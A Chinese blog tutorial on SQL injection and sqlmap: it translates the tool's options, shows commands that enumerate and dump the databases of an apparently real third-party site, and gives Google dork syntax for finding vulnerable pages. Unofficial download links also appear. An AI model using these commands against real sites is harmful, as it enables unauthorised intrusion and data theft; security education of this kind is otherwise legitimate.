做的asp网站手机号码,网络规划设计师报名入口,想做个网站要多少钱,网站转化率是什么意思一、浅谈SQL注入
SQL注入其实就是把SQL命令插入到WEB表单中提交或者输入一些页面请求的查询字符串#xff0c;比如我们输网址#xff0c;就是相当于这种操作#xff0c;只不过我们不是在测试SQL注入漏洞#xff0c;而仅仅只是为了输入后看到相应网页上的内容而已。一般方法…一、浅谈SQL注入
SQL注入其实就是把SQL命令插入到WEB表单中提交或者输入一些页面请求的查询字符串比如我们输网址就是相当于这种操作只不过我们不是在测试SQL注入漏洞而仅仅只是为了输入后看到相应网页上的内容而已。一般方法有如猜数据表名其次就是绕过后台漏洞一般这两种方法And或者Or关键字用的比较多。国内曾经也出现过类似的软件像什么啊D明小子曾经也是一众脚本小子的必备神器现在由于未更新也怕是凉凉了只不过曾经也曾辉煌过。 二、Sqlmap的注入方式
Sqlmap总共有五种不同的注入模式如下
1.时间盲注
2.布尔盲注
3.报错注入
4.联合查询注入
5.堆查询注入 三、Sqlmap支持的数据库
基本上主流数据库它都支持比如Mysql MongoOracleSqlserverAccessSqlite等等。 四、Sqlmap安装
这里我们可以使用两种方案一个是安装Sqlmap的Python版本另一个是下载已经编译好的Sqlmap应用程序看你选择哪个。只不过官网下载会比较慢所以贴心的小编已经将它们都下载下来了大家直接按照我提供的下载地址进行下载即可如下
Sqlmap.py :https://u062.com/file/7715018-453776489Sqlmap.exe:https://u062.com/file/7715018-453776892 五、玩转基本命令
这里我们以Sqlmap程序为主来进行讲解当然你也可以使用Python版的Sqlmap命令都一样。有命令自然离不开参数Sqlmap也是一样不过它里面的参数也是出奇的多我的乖乖小编表示哭晕在厕所。下面我们来一个个进行讲解也许可能讲的不是很全面希望多多包涵。我们都知道不管哪个命令行工具都会有帮助命令Sqlmap也不例外一个-h,直接所有命令通通给你列出来如下 相信大家从图中看到了众多的中文开始犯难了不慌问题不大。此外不知道大家有没有看到”-hh“这个不知道是什么鬼其实这就是比”-h“稍微高级那么一点而已。如图所示 比”-h“看起来更加有条理。那么让俺来亲自向大家介绍下这些参数的用处吧起码先给它翻译过来。
Options选项–version 显示程序的版本号并退出-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别0-6默认为1以上七个等级分别为0、只显示python错误以及严重的信息1、同时显示基本信息和警告信息默认2、同时显示debug信息3、同时显示注入的payload4、同时显示HTTP请求5、同时显示HTTP响应头6、同时显示HTTP响应页面Target目标以下至少需要设置其中一个选项设置目标URL。-d DIRECT 直接连接到数据库。-u URL, –urlURL 目标URL。-l LIST 从Burp或WebScarab代理的日志中解析目标。-m BULKFILE 扫描多个目标列入给定文本文件 -r REQUESTFILE 从一个文件中载入HTTP请求。-g GOOGLEDORK 处理Google dork的结果作为目标URL。-c CONFIGFILE 从INI配置文件中加载选项。 Request请求这些选项可以用来指定如何连接到目标URL。–dataDATA 通过POST发送的数据字符串——param-del PDEL字符用于分割参数值–cookieCOOKIE HTTP Cookie头--load-cookies 读取Netscape/wget格式的cookies文件–cookie-urlencode URL 编码生成的cookie注入–drop-set-cookie 忽略响应的Set – Cookie头信息–user-agentAGENT 指定 HTTP User – Agent头–random-agent 使用随机选定的HTTP User – Agent头 --force-ssl 使用SSL / HTTPS请求 --hostHOST HTTP主机头–refererREFERER 指定 HTTP Referer头–headersHEADERS 换行分开加入其它的HTTP头–auth-typeATYPE HTTP身份验证类型基本摘要或NTLM(Basic, Digest or NTLM)–auth-credACRED HTTP身份验证凭据用户名:密码–auth-certACERT HTTP认证证书key_filecert_file–proxyPROXY 使用HTTP代理连接到目标URL–proxy-credPCRED HTTP代理身份验证凭据用户名密码–ignore-proxy 忽略系统默认的HTTP代理–delayDELAY 在每个HTTP请求之间的延迟时间单位为秒–timeoutTIMEOUT 等待连接超时的时间默认为30秒–retriesRETRIES 连接超时后重新连接的时间默认3–scopeSCOPE 从所提供的代理日志中过滤器目标的正则表达式–safe-urlSAFURL 在测试过程中经常访问的url地址–safe-freqSAFREQ 两次访问之间测试请求给出安全的URL --skip-urlencode 跳过URL编码的数据 --evalEVALCODE 评估请求之前提供Python代码(如。“import hashlib; id2 hashlib.md5 (id) .hexdigest())Optimization优化这些选项可用于优化SqlMap的性能。-o 开启所有优化开关–predict-output 预测常见的查询输出–keep-alive 使用持久的HTTPS连接–null-connection 从没有实际的HTTP响应体中检索页面长度–threadsTHREADS 最大的HTTPS请求并发量默认为1Injection注入这些选项可以用来指定测试哪些参数 提供自定义的注入payloads和可选篡改脚本。-p TESTPARAMETER 可测试的参数S–dbmsDBMS 强制后端的DBMS为此值–osOS 强制后端的DBMS操作系统为这个值——invalid-bignum 使用大数据无效值——invalid-logical 使用逻辑操作无效值——no-cast 关掉负载铸造机制——no-unescape 关掉字符串unescap机制–prefixPREFIX 注入payload字符串前缀–suffixSUFFIX 注入payload字符串后缀–tamperTAMPER 使用给定的脚本篡改注入数据 --skipSKIP 跳过给定的参数
Detection检测这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。–levelLEVEL 执行测试的等级1-5默认为1–riskRISK 执行测试的风险0-3默认为1–stringSTRING 字符串匹配时查询计算为True--not-stringNOT.. 字符串匹配时查询计算为False–regexpREGEXP 查询时有效时在页面匹配正则表达式——code HTTP状态码–text-only 仅基于在文本内容比较网页Techniques技巧这些选项可用于调整具体的SQL注入测试。–techniqueTECH SQL注入技术测试默认BEUST–time-secTIMESEC DBMS响应的延迟时间默认为5秒–union-colsUCOLS 定列范围用于测试UNION查询注入–union-charUCHAR 用于暴力猜解列数的字符--dns-domain DNS . .域名用于DNS漏出攻击--second-order S . .产生的页面的url搜索二阶响应
Fingerprint指纹-f, –fingerprint 执行检查广泛的DBMS版本指纹Enumeration枚举这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外您还可以运行您自己的SQL语句。-b, –banner 检索数据库管理系统的标识–current-user 检索数据库管理系统当前用户–current-db 检索数据库管理系统当前数据库–is-dba 检测DBMS当前用户是否DBA–users 枚举数据库管理系统用户–passwords 枚举数据库管理系统用户密码哈希–privileges 枚举数据库管理系统用户的权限–roles 枚举数据库管理系统用户的角色–dbs 枚举数据库管理系统数据库–tables 枚举的DBMS数据库中的表–columns 枚举DBMS数据库表列——schema 列举DBMS模式——count 计算检索表(s)的条目数量–dump 转储数据库管理系统的数据库中的表项–dump-all 转储所有的DBMS数据库表中的条目–search 搜索列S表S和/或数据库名称S-D DBname 要进行枚举的指定数据库名-T TBLname 要进行枚举的指定数据库表如-T tablename –columns-C COL 要进行枚举的数据库列-U USER 用来进行枚举的数据库用户-–exclude-sysdbs 枚举表时排除系统数据库-–startLIMITSTART 第一个查询输出进入检索-–stopLIMITSTOP 最后查询的输出进入检索-–firstFIRSTCHAR 第一个查询输出字的字符检索-–lastLASTCHAR 最后查询的输出字字符检索-–sql-queryQUERY 要执行的SQL语句-–sql-shell 提示交互式SQL的shell--sql-file SQLFILE执行SQL语句从给定的文件(s)
Brute force蛮力这些选项可以被用来运行蛮力检查。–common-tables 检查存在共同表–common-columns 检查存在共同列User-defined function injection用户自定义函数注入这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数–shared-libSHLIB 共享库的本地路径File system access访问文件系统这些选项可以被用来访问后端数据库管理系统的底层文件系统。–file-readRFILE 从后端的数据库管理系统文件系统读取文件–file-writeWFILE 编辑后端的数据库管理系统文件系统上的本地文件–file-destDFILE 后端的数据库管理系统写入文件的绝对路径Operating system access操作系统访问这些选项可以用于访问后端数据库管理系统的底层操作系统。–os-cmdOSCMD 执行操作系统命令–os-shell 交互式的操作系统的shell–os-pwn 获取一个OOB shellmeterpreter或VNC–os-smbrelay 一键获取一个OOB shellmeterpreter或VNC–os-bof 存储过程缓冲区溢出利用–priv-esc 数据库进程用户权限提升–msf-pathMSFPATH Metasploit Framework本地的安装路径–tmp-pathTMPPATH 远程临时文件目录的绝对路径Windows注册表访问这些选项可以被用来访问后端数据库管理系统Windows注册表。–reg-read 读一个Windows注册表项值–reg-add 写一个Windows注册表项值数据–reg-del 删除Windows注册表键值–reg-keyREGKEY Windows注册表键–reg-valueREGVAL Windows注册表项值–reg-dataREGDATA Windows注册表键值数据–reg-typeREGTYPE Windows注册表项值类型 General(一般)这些选项可以用来设置一些一般的工作参数。-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中–batch 从不询问用户输入使用所有默认配置--charsetCHARSET 强制字符串编码--crawlCRAWLDEPTH 从起始位置爬取的深度--csv-delCSVDEL 指定在CSV输出中使用的分隔字符——dbms-credDBMS.. DBMS身份验证凭据(用户:密码)--eta 显示每个输出的预计到达时间--flush-session 刷新当前目标的会话文件--forms 在目标URL上解析和测试表单--fresh-queries 忽略在会话文件中存储的查询结果--hex dump非ascii字符时将其编码为16进制收到后解码还原--output-dirOUT.. 输出结果至文件--parse-errors 解析并显示报错信息--replicate 复制数据到一个数据库sqlite3–save file保存选项到INI配置文件——tor 使用tor匿名网络——tor-portTORPORT 设置Tor代理端口,而不是默认设置——tor-typeTORTYPE 设置Tor代理类型(HTTP违约,SOCKS4或SOCKS5)–update 更新SqlMapMiscellaneous杂项-z MNEMONICS 参数助记符例-z bat,randoma,ign,tecBEU 其实就是只要你写的字母可以唯一匹配其它参数就可以生效。–check-payload IDS对注入payloads的检测测试--alertALERT 在找到SQL注入时运行主机OS命令--answersANSWERS 设置问题答案在刚刚的--batch 可以跳过很多问题但只是选择默认值可以使用者个参数对特定问题设定特定答案。例--answer extendingN–beep 发现SQL注入时提醒--cleanup SqlMap具体的UDF和表清理DBMS--dependencies 检查缺少的Sql映射依赖项--disable-coloring 禁用控制台输出着色--gpageGOOGLEPAGE 从指定的页码使用谷歌dork结果--identify-waf 识别目标的防火墙--mobile cosplay 手机--offline 在脱机模式下工作--purge-output 情况输出文件夹--skip-waf 跳过WAF/IPS/IDS保护的启发式检测--smart 有大量检测目标时候只选择基于错误的检测--sqlmap-shell 创建一个交互的sqlmap_shell--tmp-dirTMPDIR 更改存储临时文件的本地目录--web-rootWEBROOT 设置Web服务器文档根目录。例--web-root/www--wizard 给初级用户的简单向导界面
上面便是小编输入Sqlmap的帮助命令后翻译好的Sqlmap全部指令了下面我们来进行实际应用下。
1.判断相关条件来判断URL是否存在注入
我们给它设置了一个数据库和url的请求指令相当于是在查找Mysql数据库中是否存在注入点然后我又选择它里面的数据库来进行获取然后它便会不断的使用SQL语句对这个数据库进行定点爆破如图 2.构建Post请求
上面我们所做的请求其实就是个Get请求现在我们来看看Post请求如下
就像我们平时那样构建Post请求的格式就可以了。
3.获取数据库、表信息
当我们找到注入点后就可以很轻易的找到这些数据库和它对应的表了比如 Sqlmap -u http://www.juliwz.cn/forum.php?id1 -dbms mysql -v 3 -dbs#所有数据库Sqlmap -u http://www.juliwz.cn/forum.php?id1 -dbms mysql -v 3 –-current-db#当前数据库Sqlmap -u http://www.juliwz.cn/forum.php?id1 -dbms mysql -v 3 --tables -D VIP #数据表Sqlmap -u http://www.juliwz.cn/forum.php?id1 -dbms mysql -v 3 –-current-user#当前用户Sqlmap -u http://www.juliwz.cn/forum.php?id1 -dbms mysql -v 3 --columns -T admin -D VIP #查admin表中有哪些字段Sqlmap -u http://www.juliwz.cn/forum.php?id1 -dbms mysql -v 3 --is-dba#判断归属Sqlmap -u http://www.juliwz.cn/forum.php?id1 -D VIP --dump-all#转储所有表
4.爆破用户名和密码
利用自己搭建的WEB服务器来作为测试点我们来试试看如下 5.Google Hacker语法糖
讲到这里我们不得不提一下GoogleHacker语法如下
intitle: 从网页标题中搜索指定的关键字,可专门用来搜索指定版本名称的各类web程序,也可用allintitleinurl: 从url中搜索指定的关键字,可专门用来构造各种形式的漏洞url,也可用allinurlintext:从网页中搜索指定的关键字,可专门用它来穿透到漏洞页面等……也可用allintextfiletype: 搜索指定的文件后缀,例如:jpg sql mdb txt bak ini zip rar doc xls……site: 在某个特定的网站内中搜索指定的内容link:搜索和该链接有关联连接,比如:友情链接index of: 找目录遍历会用到 强制包含某个字符进行查询 - 查询的时候忽略某个字符 查询的时候精确匹配双引号内的字符 . 匹配某单个字符进行查询 * 匹配任意字符进行查询 | 或者,多个选择,只要有一个关键字匹配上即可
讲这个的目的主要是什么了其实也就是SQL注入很多人可能觉得这跟SQL注入没关系啊那你就错了这个也是找后门的常用语法。不信的话你可以和小编一起来看看如下 六、总结
总的来说SQL注入无非就是一段艰难险阻的路程你可以发现但是别人也可以防御虽然你发现要比较久的时间但是人家防御却是很轻松个人觉得得不偿失不建议大家深入了解只是做个简单的介绍了解下就好至少你搜索技能因此而提高了不少吧。